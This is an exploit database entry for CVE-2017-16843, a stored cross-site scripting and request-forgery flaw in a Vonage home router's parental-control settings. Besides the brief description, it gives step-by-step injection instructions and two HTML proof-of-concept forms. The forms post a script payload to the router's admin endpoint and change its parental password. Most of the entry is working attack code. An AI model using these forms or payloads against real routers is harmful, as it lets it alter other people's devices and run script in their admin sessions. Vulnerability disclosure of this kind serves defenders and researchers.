Vonage Home Router – Stored Xss

vendor:

VDV-23: 115

by:

Nu11By73

5,4

CVSS

MEDIUM

Stored XSS

CWE

Product Name: VDV-23: 115

Affected Version From: 3.2.11-0.9.40

Affected Version To: 3.2.11-0.9.40

Patch Exists: Yes

Related CWE: CVE-2017-16843

CPE: h:vonage:vdv-23:115

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2017

Vonage Home Router – Stored Xss

A stored XSS vulnerability exists in Vonage Home Router, which allows an authenticated attacker to inject malicious JavaScript code into the router's web interface. This can be exploited by sending a specially crafted HTTP POST request to the router's web interface. The malicious code is then stored in the router's web interface and is executed when a user visits the affected page.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Vonage Home Router – Stored Xss
# Date: 16/11/2017
# Exploit Author: Nu11By73
# Hardware Version: VDV-23: 115
# Software Version: 3.2.11-0.9.40
# CVE : CVE-2017-16843



NewKeyword Parameter:

1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these keywords text box enter: test”><script>alert(1)</script>
5. Click the add keyword button to receive the pop up. 


NewDomain Parameter:

1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these websites text box enter: test”><script>alert(1)</script>
5. Click the add domain button to receive the pop up.

Proof of concept code:

NewDomain.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="" / >
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" />
<input type="hidden" name="x" value="50" />
<input type="hidden" name="y" value="15" />
<input type="hidden" name="DomainAction" value="1" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Exploit" />
</form>
</html>

NewKeyword.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / >
<input type="hidden" name="x" value="61" />
<input type="hidden" name="y" value="12" />
<input type="hidden" name="KeywordAction" value="1" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Enable Service" />
</form>
</html>